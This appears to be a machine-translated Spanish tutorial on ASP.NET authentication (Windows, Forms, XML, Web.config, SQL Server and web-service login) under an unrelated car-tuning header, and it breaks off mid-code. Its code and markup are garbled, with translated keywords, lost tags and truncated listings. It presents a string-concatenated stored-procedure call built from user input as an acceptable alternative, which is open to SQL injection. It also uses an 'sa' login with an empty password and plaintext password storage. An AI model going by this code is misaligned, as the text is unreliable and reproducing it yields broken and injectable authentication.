Todo sobre tuning de autos

Iniciar sesión asp. Inyección SQL por dentro y por fuera. Cómo obtener el valor numérico de una cadena

Como parte de la tecnología ASP.Net Web Forms, existe un conjunto de sistemas de control para crear y usar cuentas de usuario:

  • Login - EU para conectar un usuario (ingresando un nombre de usuario y contraseña) y verificar su conformidad con los datos contenidos en la base de datos. Si los datos coinciden (es decir, el usuario está autenticado, se realiza la transición a la página solicitada).
  • LoginView: le permite mostrar información diferente a los usuarios conectados. Por ejemplo, puede utilizar esta página para mostrar información que solo está disponible para usuarios autenticados.
  • LoginStatus: un control que muestra un enlace a una página de inicio de sesión para los usuarios que no han sido autenticados (Cerrar sesión) y un enlace a una página de cierre de sesión para los usuarios que han iniciado sesión (Iniciar sesión).
  • Nombre de inicio de sesión: un control que muestra el nombre de usuario actual, si está conectado al sistema.
  • Recuperación de contraseña: ES para recuperar las contraseñas de los usuarios mediante el envío de un mensaje de correo electrónico o cuando el usuario responde una pregunta secreta.
  • CreateUserWizard es una UE que recopila información sobre un nuevo usuario y crea una nueva cuenta en la base de datos.
  • ChangePassword: EI que permite al usuario conectado cambiar la contraseña.

El control de inicio de sesión proporciona una interfaz lista para usar que solicita un nombre de usuario y una contraseña. Incluye un botón con el atributo CommandName- "Iniciar sesión" para conectar al usuario. Cuando el usuario hace clic en este botón, la UE verifica automáticamente el cumplimiento del nombre de usuario y la contraseña ingresados ​​con los datos contenidos en la base de datos, y luego provoca un transición al formulario web solicitado de la aplicación. es completamente extensible y le permite anular su marcado, estilo y propiedades, y manejar los eventos usted mismo para cambiar el comportamiento predeterminado. A continuación se muestra un ejemplo de personalización de la descripción del control de inicio de sesión:

<%@ Page Language="C#" AutoEventWireup="true”

CodeFile = "LogPage.aspx.cs” Inherits = "LogPage"%>

BorderColor = "Negro" BorderStyle = "doble">

Conexión del sistema

ControlToValidate = "Contraseña" ErrorMessage = ”*” />

La visualización de la EI de inicio de sesión configurada anteriormente se muestra en la Fig. 4.22.

Arroz. 4.22. Visualización del control de inicio de sesión configurado

El control LoginView es simple y poderoso. Le permite mostrar diferentes conjuntos de controles para usuarios anónimos y autenticados. Aparte de esto, también te permite mostrar el espaciado de contenido, teniendo en cuenta el rol al que pertenece el usuario conectado. El control LoginView es un control basado en plantillas con diferentes tipos de plantillas, una para usuarios anónimos, otra para usuarios autenticados y otra para admitir plantillas basadas en roles.

En estas plantillas, solo necesita agregar un EI para representar la situación apropiada, como se muestra a continuación. Este control muestra texto simple para usuarios anónimos y texto para usuarios registrados:

Bbi es un usuario anónimo

Bbi conectado a web-npHno> KeHHK>

<1т2>Solo los administradores ven este contenido

Este es contenido para diseñadores web y lectores.

Se pueden encontrar ejemplos del uso de sistemas de control para proteger una aplicación web en la carpeta Cuenta de la plantilla del sitio web estándar ASP.Net.

Pasemos ahora a describir el proceso de autenticación directamente dentro del marco ASP.NET, donde se proporcionan 3 tipos de autenticación para su elección:

* Autenticación de Windows
* Formulario
* Pasaporte

Autenticación de Windows:

Como sugiere el nombre, este método se basa en cuentas de Windows. Este método es apropiado si está creando una aplicación para una red local y todas las cuentas y grupos válidos se almacenan en un dominio predefinido. Al mismo tiempo, debe tener mucho cuidado al asignar derechos de acceso a los usuarios, ya que establece simultáneamente los derechos para trabajar en Windows. Para configurar ASP.NET para que funcione en modo de autenticación de Windows, es necesario cambiar el archivo de configuración del proyecto Web Web.config o, si es necesario, el archivo de configuración de todo el servidor, ubicado en WINDOWS_FOLDERMicrosoft.NET

Versión de Framework.NET CONFIGMachine.config. En nuestro ejemplo, trabajaremos exclusivamente con el archivo de proyecto - Web.config, en el que debe encontrar la sección de autenticación y establecer su atributo de modo en Windows:

Ahora puede comenzar a programar e implementar directamente la autenticación basada en Windows. Para ayudarlo, la clase WindowsIdentity, que es específicamente para trabajar con la autenticación de Windows. En general, para la autenticación basada en Windows, existen dos clases principales proporcionadas por .NET Framework:

* GenericIdentity: solo implementa la interfaz IIdentity y no se aplica a ningún tipo de autenticación en particular
* WindowsIdentity: también es una implementación de la interfaz IIdentity, pero también incluye métodos específicos para la autenticación basada en Windows

El nombre de usuario y el nombre del grupo se almacenan en el objeto WindowsIdentity en el siguiente formato: DOMAINUserName y DOMAINGroup, respectivamente. Las únicas excepciones son los grupos integrados, por ejemplo, el grupo Administradores; para acceder a él, puede usar la cadena de conexión a través de WindowsIdentity: BUILTINAdministrators. Como alternativa, puede especificar un grupo integrado de la enumeración System.Security.Principal.WindowsBuiltInRole.

De la fig. 1 puede ver que el objeto WindowsIdentity le permite obtener el nombre de usuario; definir el tipo de autenticación; establecer si la autenticación se realizó de forma anónima; también puede averiguar si un usuario está autenticado o no, un invitado o un usuario del sistema.

Arroz. 1 - Objeto WindowsIdentity

Porque en las aplicaciones ASP.NET, necesitará encadenar lo siguiente para acceder al objeto WindowsIdentity:

HttpContext.Current.User.Identity, entonces también puede determinar a qué rol pertenece el usuario actual. Esto se puede lograr debido a que la propiedad User en esta cadena implementa la interfaz Iprincipal, que le permite determinar si un usuario pertenece a un rol en particular llamando a la función IsInRole, que tiene la siguiente sintaxis:

Función pública anulable IsInRole (rol ByVal como cadena) como miembro booleano de: System.Security.Principal.Iprincipal

Pero alejémonos de la teoría básica por un tiempo e intentemos implementar un ejemplo práctico. Para hacer esto, cree un nuevo proyecto de aplicación web ASP.NET e ingrese el siguiente código:
Default.aspx:

<%@ Page Language="vb" AutoEventWireup="false" Codebehind="default.aspx.vb" Inherits="AuthSample.WebForm1"%> Muestra de autenticación

Default.aspx.vb:

Public Class WebForm1 Inherits System.Web.UI.Page #Region “Web Form Designer Generated Code” ‘Esta llamada es requerida por el Web Form Designer. Private Sub InitializeComponent () End Sub 'NOTA: El diseñador de formularios web requiere la siguiente declaración de marcador de posición. No lo elimine ni lo mueva. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja MyBase.Init 'CODEGEN: El diseñador de formularios web requiere esta llamada al método' No lo modifique usando el editor de código ... InitializeComponent () End Sub #End Región Private Sub Page_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja MyBase.Load Dim s As String s = “

Nombre:"& HttpContext.Current.User.Identity.Name &"

” & _ “

Tipo de autenticación:"& HttpContext.Current.User.Identity.AuthenticationType.ToString &"

” & _ “

Está autenticado:"& HttpContext.Current.User.Identity.IsAuthenticated.ToString &"

” & _ “

Es administrador:"& HttpContext.Current.User.IsInRole (" Administrador "). ToString &"

"Response.Write (s) End Sub End Class

Si se seleccionó el modo de autenticación de Windows y la configuración de IIS no causó ningún conflicto, recibirá la información correspondiente sobre su usuario actual. Si el campo para el nombre de usuario y el tipo de autenticación resultó estar vacío, entonces solo necesita configurar IIS, para hacer esto, siga estos pasos:

1. Abra IIS y busque el directorio virtual con esta aplicación
2. Abra la ventana de propiedades para este directorio y vaya a la pestaña Seguridad de directorios. En el cuadro Autenticación y acceso anónimo, haga clic en Cambiar ...
3. En la ventana que aparece (Fig. 2), desmarque el Acceso anónimo

Arroz. 2 - Configuración de IIS

Con esto concluye nuestra discusión sobre la autenticación basada en Windows y pasa a la autenticación de formularios.

Formulario de autenticación:

La autenticación de formulario, o autenticación basada en cookies, como también se le llama, tiene varias ventajas sobre la autenticación de Windows.

* En primer lugar, tiene la oportunidad de definir la apariencia del formulario de registro a su gusto y color o al gusto y color del usuario en lugar de la ventana de registro de Windows del mismo tipo.
* En segundo lugar, tiene control total sobre la información ingresada
* La información del usuario ahora se puede almacenar no solo en SAM o Active Directory, sino también en cualquier otro almacenamiento, en particular: una base de datos, directorio LDAP, archivos XML o un archivo de texto sin formato.
* No es necesario vincular la política de seguridad del servidor con la política de la aplicación web, ya que, como ya se mencionó, toda la información del usuario se puede mover a un almacén de datos separado sin ninguna superposición con las cuentas del sistema operativo.

Pero a pesar de la abundancia de opciones de autenticación basadas en formularios, existe una limitación importante: el usuario debe permitir las cookies. Si no está allí, la autenticación de formulario ASP.NET no funcionará. Observe las palabras "... usando herramientas ASP.NET ...". Esto significa que no funcionará el mecanismo que libera al desarrollador de las operaciones rutinarias de verificaciones sin fin, es decir, todas las solicitudes recibidas de un usuario que aún no ha sido autenticado son redireccionadas a la página de registro, donde ingresa la información necesaria ( más a menudo un nombre de usuario y contraseña) ... La información recibida se pasa al entorno ASP.NET, donde se verifica. Si tiene éxito, se envía al usuario una cookie, que contiene un ticket de autorización, un nombre de usuario y una clave para obtener posteriormente un identificador. Como resultado, todas las llamadas posteriores del navegador contendrán información de autorización en los encabezados que se envían a ASP.NET para su validación. Por lo tanto, si un usuario no admite cookies, todas las verificaciones sobre si ha sido autenticado deberán realizarse manualmente, por ejemplo, en versiones anteriores de ASP, el objeto Sesión se utilizó para esto, aproximadamente en la siguiente forma:

Si no es sesión ("registrado") = "1", entonces Response.Redirect ("login.asp") Finalizar si

Para utilizar la autenticación de formulario, primero debe configurar su proyecto web. Para hacer esto, cambie el contenido de la etiqueta. el archivo Web.config de la siguiente manera:

Echemos un vistazo más de cerca al código anterior. Atributo de modo de etiqueta define el método de autenticación. En los ejemplos anteriores usamos el valor de Windows que configuró la autenticación en el modo de autenticación de Windows, ahora estamos usando el modo de formularios para el trabajo basado en formularios. Además de estas dos constantes, hay 2 más: Pasaporte y Ninguno: la primera de ellas define la autenticación basada en el pasaporte, que se discutirá más adelante, la segunda la deshabilita por completo. Siguiente etiqueta ( ) es inherente solo a la autenticación basada en formularios e incluye la siguiente información:

* nombre: el nombre de la cookie en la que se ingresarán los datos sobre la autenticación exitosa
* loginUrl: define la dirección de la página a la que se redirigirá al usuario para que se registre
* protección: acepta Todo | Ninguno | Cifrado | Validación y define cómo se protegen los datos de las cookies. A partir de los valores permitidos, está claro que no puede hacer nada con los datos recibidos y aceptarlos como están; puedes comprobarlos; se puede cifrar; y también es posible combinar la verificación con la criptografía; este valor se utiliza de forma predeterminada.
* tiempo de espera: define el período de tiempo en segundos durante el cual la cookie estará disponible
* ruta: este atributo especifica la ruta completa a la cookie. De forma predeterminada, contiene una barra inclinada (/) que expande todas las rutas. No se recomienda cambiar esta configuración porque algunos navegadores distinguen entre mayúsculas y minúsculas en la ruta, por lo que cambiar esta configuración podría impedir que algunos usuarios puedan autenticarse.
* requireSSL: este atributo acepta valores Verdadero o Falso (de forma predeterminada) y especifica si se debe utilizar el protocolo Secured Sockets Layer (SSL)
* slideExpiration: indica si la cookie y las credenciales de autorización deben volver a generarse si expira el tiempo de espera. Acepta los valores verdadero (predeterminado) o falso.

Todos los posibles atributos de la sección de formularios se describieron anteriormente, pero para que la aplicación funcione correctamente, es suficiente usar solo 3 de ellos, como se muestra en el siguiente listado:

Formular la autenticación utilizando archivos XML separados:

Creemos ahora una página de registro de usuario simple que verifique el nombre de usuario y la contraseña ingresados ​​con los datos en el archivo XML. Para hacer esto, primero cree un archivo XML llamado users.xml con el siguiente ejemplo:
users.xml:

John una Miguel dos Factura Tres

La base de usuarios está lista; ahora puede comenzar a crear su proyecto de registro de usuario de muestra. Todo el código requerido se muestra a continuación:
Default.aspx:

<%@ Page Language=”vb” AutoEventWireup=”false” Codebehind=”default.aspx.vb” Inherits=”FormAuth._default”%> defecto

Default.aspx.vb:

Imports System.Web.Security Public Class _default Inherits System.Web.UI.Page #Region "Web Form Designer Generated Code" ‘Esta llamada es requerida por el Web Form Designer. Private Sub InitializeComponent () End Sub 'NOTA: El diseñador de formularios web requiere la siguiente declaración de marcador de posición. No lo elimine ni lo mueva. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja MyBase.Init 'CODEGEN: El diseñador de formularios web requiere esta llamada al método' No lo modifique usando el editor de código ... InitializeComponent () End Sub #End Region Private Sub Page_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja MyBase.Load 'Ponga el código de usuario para inicializar la página aquí Si context.Current.User.Identity.Name = “” Luego Response.Redirect (“login.aspx”) Else Response.Write (“

”) End If End Sub End Class

<%@ Page Language=”vb” AutoEventWireup=”false” Codebehind=”login.aspx.vb” Inherits=”FormAuth.WebForm1”%> Registro

Nombre
Contraseña

Autenticación fallida

Imports System.Xml Imports System.Web.Security Public Class WebForm1 Hereda System.Web.UI.Page Protected WithEvents txtName As System.Web.UI.WebControls.TextBox Protected WithEvents txtPassword Como System.Web.UI.WebControls.TextBox Protected WithEvents System.Web.UI.WebControls.Label Protected WithEvents btnLogin As System.Web.UI.WebControls.Button #Region “Web Form Designer Generated Code” 'Esta llamada es requerida por el Web Form Designer. Private Sub InitializeComponent () End Sub 'NOTA: El diseñador de formularios web requiere la siguiente declaración de marcador de posición. No lo elimine ni lo mueva. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja MyBase.Init 'CODEGEN: El diseñador de formularios web requiere esta llamada al método' No lo modifique usando el editor de código ... InitializeComponent () End Sub #End Region Private Sub btnLogin_Click (ByVal sender As Object, ByVal e As EventArgs) Maneja btnLogin.Click Dim xd As New XmlDocument, xr As XmlNodeReader Dim sName As String, sPass As String "Open XML file xd. Load (Server.MapPath (“users.xml”)) 'Activando XmlNodeReader xr = New XmlNodeReader (xd.Item (“users”)) "Buscando el usuario deseado Mientras xr.Read If xr.Name =“ name ”And xr .NodeType = XmlNodeType.Element Then sName = xr.ReadString "Si no es el nombre de usuario, vaya a otro If sName<>txtName. txtName.Text, True) Else "Si no es así, vaya a otro usuario xr.Skip () End If End If End While" Si esta línea se ejecuta, entonces los datos sobre el usuario se ingresaron incorrectamente lbl.Visible = True End Sub Clase final

Hagamos un informe ahora: el código anterior contiene 2 páginas. Todas las acciones comienzan en la página default.aspx, que verifica si el usuario actual tiene un nombre:

Si context.Current.User.Identity.Name = “” Entonces Response.Redirect (“login.aspx”) Else Response.Write (“

Hola "& context.Current.User.Identity.Name &"

") Terminara si

Si es así, se mostrará un saludo en la pantalla, de lo contrario el usuario será redirigido a la página de registro login.aspx, donde se le pedirá que ingrese su nombre y contraseña. La información ingresada se compara con los datos del archivo XML. Si no se encuentra al usuario, aparecerá un mensaje de error (Fig. 3), de lo contrario será redirigido de manera segura a la página de inicio default.aspx, la cual, al detectar que el usuario actual tiene un nombre, lo saludará.

Arroz. 3 - Datos de registro incorrectos

Si se autentica con éxito y ve el mensaje de bienvenida, cierre la ventana de su navegador e intente volver a ejecutar la página default.aspx. Inmediatamente verá un saludo frente a usted para el usuario cuyo nombre ingresó la última vez. El caso es que durante el registro guardamos una cookie en la máquina del cliente. Esto sucedió en el momento en que llamamos a la función RedirectFromLoginPage en el código, pasándola al parámetro CreatePersistentCookie True:

FormsAuthentication.RedirectFromLoginPage (txtName.Text, True)

Para excluir la transmisión de una cookie, basta con llamar a esta función con el valor False del parámetro CreatePersistentCookie. O hay otra forma: en la página default.aspx agregue un controlador para el evento de descarga de página con el siguiente código:

Private Sub Page_Unload (ByVal sender As Object, ByVal e As System.EventArgs) Maneja MyBase.Unload FormsAuthentication.SignOut () End Sub

Como resultado, después de que se descargue la página principal, se cerrará la sesión del usuario.

Formular la autenticación usando un archivo de configuración:

En el ejemplo anterior, almacenamos todos los datos del usuario en un archivo XML separado, pero resulta que ASP.NET brinda la capacidad de almacenar información de la cuenta directamente en el archivo de configuración del proyecto web. La ventaja de este método es que requiere mucho menos código de programación para implementar, ya que en este caso el programador no necesita escanear manualmente el archivo XML en busca de coincidencias; solo llama a una única función que resuelve todo el caso. Para entender cómo funciona este mecanismo, volvamos a referirnos al archivo de configuración, o más bien a la etiqueta de formularios. Esta etiqueta, además de los atributos descritos anteriormente, también puede incluir una sección - certificados:
Web.config:

Como puede ver en la lista anterior, la etiqueta de credenciales contiene un solo atributo: passwordFormat. Este parámetro define la forma de almacenar la contraseña y toma los siguientes valores:

* Borrar: la contraseña se guarda sin cambios
* SHA1: la contraseña se codifica mediante el método SHA1 (algoritmo de hash seguro, versión 1)
* MD5: la contraseña se codifica mediante el método MD5 (Message Digest versión 5)

Si elige cualquiera de los algoritmos de hash, la contraseña ya no se puede almacenar en su forma original en el archivo de configuración; primero deberá tener un hash y solo entonces el resultado resultante debe asignarse al atributo de contraseña. De lo contrario, cuando ASP.NET se autentica, las contraseñas simplemente no coincidirán.

Ahora que tenemos una base de cuentas recién preparada, regresemos a la aplicación anterior y cambiemos el código para el botón de registro, haga clic en el controlador de eventos en la página login.aspx:
login.aspx.vb:

Private Sub btnLogin_Click (ByVal sender As Object, ByVal e As EventArgs) Maneja btnLogin.Click If FormsAuthentication.Authenticate (txtName.Text, txtPassword.Text) Entonces "Si el usuario se encuentra en la sección de certificados, significa que el registro fue exitoso en FormsAuthentication. Authenticate txtName.Text, False) Else "De lo contrario: muestra un mensaje de error lbl.Visible = True End If End Sub

Ahora compare este código con el usado en el ejemplo anterior. Como puede ver, se ha reducido de muchas condiciones y enumeración a solo una consulta que devuelve Verdadero o Falso.

No consideraremos ahora específicamente un ejemplo de código que funciona con contraseñas hash, para no apresurar las cosas. El hecho es que en la tercera parte de este artículo, que estará dedicada a la criptografía, aprenderá todas las complejidades del cifrado y el cifrado de datos y podrá aplicar estos métodos en la práctica.

Formulario de autenticación utilizando una base de datos:

Ahora veamos un ejemplo de cómo trabajar con otro almacén de datos de usuario: la base de datos de MS SQL Server. La mayoría de los sitios dinámicos utilizan bases de datos para almacenar el contenido del sitio. La información del usuario tampoco es una excepción y bien puede ocupar su lugar en el conjunto de datos generales. Para ver con nuestros propios ojos cómo sucede todo esto, creemos una aplicación de prueba, que nuevamente estará basada en la página de registro que ya conocemos, utilizada en los ejemplos anteriores. En primer lugar, debe preparar la base de datos, para esto abra la utilidad SQL Query Analyzer y ejecute el siguiente código escrito en lenguaje tSQL en ella:
FormAuthUsers.sql:

Cree la base de datos 'FormAuthUsers' y agregue la tabla 'Users' CREAR BASE DE DATOS FormAuthUsers VAYA UTILIZAR FormAuthUsers VAYA CREAR TABLA (IDENTIDAD (1, 1) NO NULO, (50), (50), RESTRICCIÓN CLAVE PRINCIPAL CLÚSTER () ACTIVADA) ACTIVA - Rellenar tabla 'Usuarios' INSERT INTO Users (UserName, Password) VALUES ('John', 'one') GO INSERT INTO Users (UserName, Password) VALUES ('Mike', 'two') GO INSERT INTO Users (UserName, Password) VALUES ('Bill', 'three') GO --Crear procedimiento 'FindUser' CREAR PROCEDIMIENTO FindUser @Name nvarchar (50), @Password nvarchar (50) AS SELECT COUNT (ID) FROM Users WHERE UserName = @Name AND Password = @Password GO

Como resultado de la ejecución de este código, se debe crear una base de datos denominada “FormAuthUsers” en su servidor SQL, en la que puede encontrar la tabla de Usuarios con tres registros y el procedimiento almacenado FindUser. Este procedimiento devuelve el número de usuarios que satisfacen la solicitud, que se forma a partir de los parámetros pasados ​​a este procedimiento.

Ahora que tenemos nuestra base de datos lista, podemos comenzar a crear una página que funcione con ella. Para hacer esto, tome los ejemplos anteriores nuevamente y reemplace el controlador de eventos de clic de botón en la página login.aspx:
login.aspx.vb:

Imports System.Data.SqlClient Imports System.Web.Security Public Class WebForm1 Hereda System.Web.UI.Page Protected WithEvents txtName como System.Web.UI.WebControls.TextBox Protected WithEvents txtPassword Protected como System.Web.UI.WebControls.TextBox WithEvents lbl As System.Web.UI.WebControls.Label Protected WithEvents btnLogin As System.Web.UI.WebControls.Button #Region “Web Form Designer Generated Code” 'Esta llamada es necesaria para el Web Form Designer. Private Sub InitializeComponent () End Sub 'NOTA: El diseñador de formularios web requiere la siguiente declaración de marcador de posición. No lo elimine ni lo mueva. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja MyBase.Init 'CODEGEN: El diseñador de formularios web requiere esta llamada al método' No lo modifique usando el editor de código ... InitializeComponent () End Sub #End Region Private Sub btnLogin_Click (ByVal sender As Object, ByVal e As EventArgs) Maneja btnLogin.Click Dim cn As New SqlConnection (“server = localhost; database = FormAuthUsers; uid = sa; pwd =;”) Dim cm As New SqlCommand (“FindUser”, cn) Dim n As Integer "Conexión abierta Intente cn.Open () Catch ex As SqlException Response.Write (ex.Message) Exit Sub End Try" Establecer tipo de comando cm.CommandType = CommandType .StoredProcedure "Agregar parámetros de nombre Dim prmName = New SqlParameter (“ @ Name ”, SqlDbType.NvarChar, 50) prmName.Value = txtName.Text cm.Parameters.Add (prmName)" Agregar parámetro de contraseña Dim prmPass = New “@ SqlParameter Password ”, SqlDbType.NvarChar, 50) prmPass.Value = txtPassword.Text cm.Parameters.Add (prmPass)" Ejecutar la solicitud n = cm.ExecuteScalar If n> 0 Then "Si se encuentra a alguien, el registro fue exitoso. FormsAuthentication .RedirectFromLoginPage (txtName.Text, False) Else "si no hay nadie, entonces hay un error lbl.Visible = True End If cn.Close () End Sub End Class

Para que esta página funcione correctamente, asegúrese de que la cadena de conexión coincida con su configuración. Veamos qué está pasando aquí. Primero, se crea un objeto de conexión SqlConnection y se le pasa una cadena de conexión de base de datos como parámetro:

Dim cn As New SqlConnection ("servidor = localhost; base de datos = FormAuthUsers; uid = sa; pwd =;")

Después de eso, se crea una instancia del objeto SqlCommand, que se usa para ejecutar comandos para trabajar con datos. Las siguientes líneas de código abren la conexión, pero esto tiene en cuenta la posibilidad de excepciones que son detectadas por el controlador de excepción try:

"Abriendo una conexión Intente cn.Open () Catch ex As SqlException Response.Write (ex.Message) Exit Sub End Try

Si hay alguna falla al abrir una conexión, el usuario recibe un mensaje correspondiente y la operación se aborta.

Luego, SqlCommand se configura para ejecutar el procedimiento almacenado y los parámetros están preparados para ejecutarlo. Para estas 7 líneas de código, por supuesto, existe una alternativa que consta de 1 línea de código:

cm.CommandText = "exec FindUser" "& txtName.Text &" "," "& txtPassword.Text &" ""

Pero, a pesar de que este código es más corto, el tiempo de ejecución será más largo. ¿Por qué? El caso es que con esta línea estás haciendo una consulta operativa, es decir, estás escribiendo directamente un comando SQL que llama al procedimiento almacenado. Como resultado, transmite datos adicionales a través de la red en forma del comando "exec", que a su vez ocupa espacio en el tráfico de la red; Tan pronto como esta solicitud llegue al servidor, primero se ejecutará el comando "exec", y solo entonces se lanzará el procedimiento almacenado FindUser que necesitamos. Además, existe una forma aún más difícil, que es deshacerse de los procedimientos almacenados e inyectar todo el código de consulta requerido directamente en el objeto SqlCommand, como resultado de lo cual se envía aún más información adicional a través del tráfico de la red. Parecería que esto es un más o menos un par de decenas de bytes, pero ¿qué sucede si tiene que trabajar con solicitudes enormes, cuyo código es mucho más grande que el de nuestro procedimiento? Por lo tanto, la mejor manera es utilizar procedimientos almacenados, porque en este caso se obtiene una clara separación de funciones, en la que la página del cliente es responsable solo de la entrada / salida de datos en un formato accesible para el usuario; SQL Server realiza todas las operaciones de datos; e IIS actúa como intermediario entre el cliente y el servidor; ahí tiene una arquitectura de tres niveles. No sobrecargue las máquinas cliente "delicadas" con trabajo innecesario; es mejor confiarlo a la artillería pesada, es decir, al servidor.

Pero volvamos a nuestro código y sigamos analizándolo: después de determinar el tipo de comando y preparar todos los parámetros, ejecutamos este comando de manera segura, además, tenga en cuenta que la función ExecuteScalar se usa para la ejecución. Debe usarse cuando obtiene un valor escalar como resultado, es decir, un número, que en realidad ocurre en nuestro procedimiento FindUser: devuelve el número de registros que satisfacen una condición determinada:

Al final del código, habiendo recibido el número de registros encontrados, simplemente analizamos este valor y realizamos las operaciones apropiadas.
Formulario de autenticación mediante servicios web:

Digamos que trabaja para la organización XYZ. Se le ha encomendado la tarea de crear una aplicación que administre la información del personal de su organización. Ha estado trabajando en este proyecto durante 7 meses y, de repente, por razones de seguridad, se le indicó que alojara información sobre los usuarios en un servidor completamente diferente, con el que otro departamento de la organización XYZ está trabajando activamente. No se le proporcionó acceso directo al servidor, por lo que su proyecto no puede acceder directamente a la base de datos con los usuarios ubicados en este servidor. Para resolver este problema, se decidió permitirle desarrollar un servicio web a través del cual pudiera ejercer control sobre la autenticación de usuarios.

Esta historia ficticia revela otra forma de permitir la autenticación: mediante servicios web. Los servicios web son especialmente útiles cuando usted o sus clientes no tienen acceso completo al servidor. Además, los servicios web no solo son aplicables a aplicaciones web, sino que también pueden ser utilizados por productos de software que se ejecutan en una amplia variedad de plataformas. Esto es posible gracias al uso de la tecnología SOAP (Protocolo simple de acceso a objetos), que utiliza puertos TCP / IP estándar y el protocolo HTTP.

Para trabajar con un servicio web, primero debe crearlo. Para ello, inicie un nuevo proyecto de tipo ASP.NET Web Service (Figura 4).

Arroz. 4 - Creación de un servicio web

Ahora, usando el botón de registro, haga clic en el código del controlador de eventos del ejemplo anterior, péguelo en el código fuente del servicio web, modificándolo ligeramente a la siguiente forma:
AuthSrvc.asmx:

Importa System.Web.Services Importa System.Data.SqlClient _ Public Class Service1 Inherits System.Web.Services.WebService #Region "Código generado por el diseñador de servicios web" Public Sub New () MyBase.New () "Esta llamada es requerida por el Diseñador de servicios web. InitializeComponent ()" Agregue su propia inicialización código después de la llamada InitializeComponent () End Sub "Requerido por el Diseñador de servicios web Componentes privados como System.ComponentModel.IContainer" NOTA: El Diseñador de servicios web requiere el siguiente procedimiento "Se puede modificar utilizando el Diseñador de servicios web". no modificarlo usando el editor de código. Private Sub InitializeComponent () components = New System.ComponentModel.Container () End Sub Protected Overloads Overrides Sub Dispose (ByVal disposing As Boolean) "CODEGEN: Este procedimiento es requerido por el Diseñador de servicios web" No lo modifique usando el editor de código. Si desechar Entonces Si no (los componentes no son nada) Entonces los componentes. Autenticación de función pública (ByVal UserName como cadena, ByVal Password como cadena, ByRef ErrMessage como cadena) Como Boolean Dim cn As New SqlConnection ("server = localhost; database = FormAuthUsers; uid = sa; pwd =;") Dim cm As New SqlCommand ("FindUser", cn) Dim n As Integer "Conexión abierta Intente cn.Open () Catch ex As SqlException" Si hay una excepción, pase su descripción al parámetro ErrMessage ErrMessage = ex.Message Salir Función Finalizar Intentar "Establecer el tipo de comando cm. CommandType = CommandType.StoredProcedure "Agregar parámetros de nombre Dim prmName = New SqlParameter (" @ Name ", SqlDbType.NVarChar, 50) prmName.Value = UserName cm.Parameters.Add (prmName)" Agregar parámetro de contraseña DimqlPass = New @Password ", SqlDbType.NVarChar, 50) prmPass.Value = Password cm.Parameters.Add (prmPass)" Ejecutar la solicitud n = cm.ExecuteScalar "Cerrar la conexión cn.Close ()" Analizar el resultado Si n> 0 Luego "Si se ha encontrado a alguien, entonces el registro se ha completado exitoso Devolver Verdadero Else "si no hay nadie, entonces el error es Devolver Falso Finalizar Si Finalizar Función Finalizar Clase

Puede verificar la capacidad de servicio del servicio sin salir de la caja, simplemente inícielo para su ejecución en el entorno de Visual Studio .NET. Si no hubo errores en el servicio, verá una pantalla frente a usted con 2 hipervínculos. Uno de ellos conduce a la descripción de un servicio web utilizando WSDL (Web Service Description Language) y el otro (Autenticar) le permite probar el servicio. Haga clic en el segundo hipervínculo y complete la tabla de parámetros en la página que aparece (Fig. 5). Si ingresa la cadena "John" en el campo Nombre de usuario y sustituye "uno" por la contraseña, la función devolverá True:

http: //localhost/AuthSrvc/AuthSrvc.asmx/Authenticate: cierto

Si cambia el valor de cualquiera de estos campos a no válido, es decir, a algo que no está en la base de datos, el resultado será el opuesto: falso.

Creo que no tiene sentido analizar el código de esta función en detalle, porque en muchos aspectos es similar a su predecesora del ejemplo anterior. Sin embargo, debe prestar especial atención al manejador de excepciones. Si en el listado con la base de datos, cuando ocurrió alguna excepción, simplemente mostró el mensaje correspondiente en la pantalla, entonces en el servicio Web pasamos el mensaje de error al parámetro ErrMessage de la función Authenticate, el cual fue declarado por referencia:.

"Abriendo una conexión Pruebe cn.Open () Catch ex As SqlException" Si hay una excepción, pase su descripción al parámetro ErrMessage ErrMessage = ex.Message Exit Function End Try

En las aplicaciones que utilizarán este servicio, crearemos una verificación para detectar cualquier excepción y, si se encuentran, mostraremos un mensaje apropiado.

Arroz. 5 - Comprobación del estado del servicio web

Ahora creemos una aplicación que utilizará este servicio web, pero esta vez nos saldremos un poco del tema y crearemos una aplicación de Windows para variar:

1. Cree un nuevo proyecto de tipo Aplicación de Windows
2. Cambie la forma para que se parezca a la forma que se muestra en la fig. 6, o simplemente puede insertar el código en el constructor de la siguiente lista.
3. En la ventana SolutionExplorer, haga clic con el botón derecho en la carpeta References y seleccione Add Web Reference ... en el menú contextual que aparece.
4. Verá un cuadro de diálogo para configurar enlaces a servicios web. En el cuadro URL, ingrese la URL completa del archivo .asmx e inicie la búsqueda. Como resultado, debería ver algo similar a la Figura 7.
5. Haga clic en el botón Agregar referencia y aparecerá un enlace al servicio web especificado en su proyecto.
6.

Arroz. 6 - Una vista aproximada de la aplicación de prueba

Arroz. 7 - Resultados de búsqueda de servicios web

Ahora puede comenzar a escribir el código que implementa este servicio web. Todo el código requerido se muestra a continuación:
AuthSrvcRelease.vb:

Public Class Form1 Inherits System.Windows.Forms.Form #Region "Código generado por el Diseñador de formularios de Windows" Public Sub New () MyBase.New () "Esta llamada es requerida por el Diseñador de formularios de Windows. InitializeComponent ()" Agregue cualquier inicialización después de InitializeComponent () call End Sub "El formulario anula dispose para limpiar la lista de componentes. Protected Overloads Overrides Sub Dispose (ByVal desechando como booleano) Si desechando Then If Not (los componentes no son nada) Then components.Dispose () End If End If MyBase. Dispose (disposing) End Sub "Requerido por el Diseñador de formularios de Windows. Componentes privados como System.ComponentModel.IContainer" NOTA: El Diseñador de formularios de Windows requiere el siguiente procedimiento "Se puede modificar mediante el Diseñador de formularios de Windows. "No lo modifique con el editor de código. Friend WithEvents Label1 como System.Windows.Forms.Label Friend WithEvents Label2 como System.Windows.Forms.Label Friend WithEvents txtName como System.Windows.Forms.TextBox Friend WithEvents txtPassword como System.Windows .Forms.TextBox Friend WithEvents cmd Salir como System.Windows.Forms.Button Friend WithEvents cmdIniciar sesión como System.Windows.Forms.Button Private Sub 